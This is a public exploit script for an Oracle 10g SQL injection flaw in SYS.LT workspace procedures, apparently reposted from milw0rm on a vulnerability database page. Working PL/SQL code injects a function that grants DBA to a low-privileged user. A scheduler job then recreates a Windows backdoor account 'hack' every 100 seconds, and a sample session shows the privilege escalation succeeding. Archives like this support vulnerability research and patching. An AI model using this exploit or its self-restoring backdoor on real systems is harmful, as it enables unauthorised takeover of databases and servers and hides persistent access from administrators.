/*********************************************************/
/*Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit**/
/**grant DBA and create new OS user (using scheduller)***/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using scheduler*******************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: [email protected] */
/* site: http://www.dsecrg.ru */
/* http://www.dsec.ru */
/*********************************************************/
/*Original Advisory: */
/*Esteban Martinez Fayo [Team SHATTER ] */
/*Date of Public Advisory: November 11, 2008 */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/
select * from user_role_privs;
CREATE OR REPLACE FUNCTION Z return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY JOB TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE EXTERNAL JOB SCOTT';
COMMIT;
RETURN 'Z';
END;
/
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Z()=''Z');
exec SYS.LT.COMPRESSWORKSPACETREE('sh2kerr'' and SCOTT.Z()=''Z');
/* We create backdored OS user "hack" with password 12345 using External Job's */
/* Note that in this method new user will be created every 100 seconds */
/* so if administrator find it and will try to delete it */
/* user hack will be created again. So it is also a simle backdoor */
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
program_action =>Â’cmd /c "net user hack 12345 /add"Â’,
enabled=> TRUE);
END;
/
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'extjobexec',
program_name=> 'MyCmd',
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=100',
enabled=> TRUE,
comments=> 'create backdoor user every 100 seconds');
END;
/
/* here we can paste any OS command for example create new user */
exec dbms_scheduler.run_job('extjobexec');
/
select * from user_role_privs;
---------------------------------------------------------------------------------
-----------------------------EXAMPLE OF EXPLOITATION ----------------------------
---------------------------------------------------------------------------------
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
OUTLN CONNECT NO YES NO
OUTLN RESOURCE NO YES NO
SQL> CREATE OR REPLACE FUNCTION X return varchar2
2 authid current_user as
3 pragma autonomous_transaction;
4 BEGIN
5 EXECUTE IMMEDIATE 'GRANT DBA TO OUTLN';
6 COMMIT;
7 RETURN 'x';
8 END;
9 /
Function created.
SQL> exec SYS.LT.CREATEWORKSPACE('zz'' and outln.X()=''x')
PL/SQL procedure successfully completed.
SQL> exec SYS.LT.REMOVEWORKSPACE('zz'' and outln.X()=''x')
PL/SQL procedure successfully completed.
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
OUTLN CONNECT NO YES NO
OUTLN DBA NO YES NO
OUTLN RESOURCE NO YES NO
SQL>
// milw0rm.com [2009-01-06]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation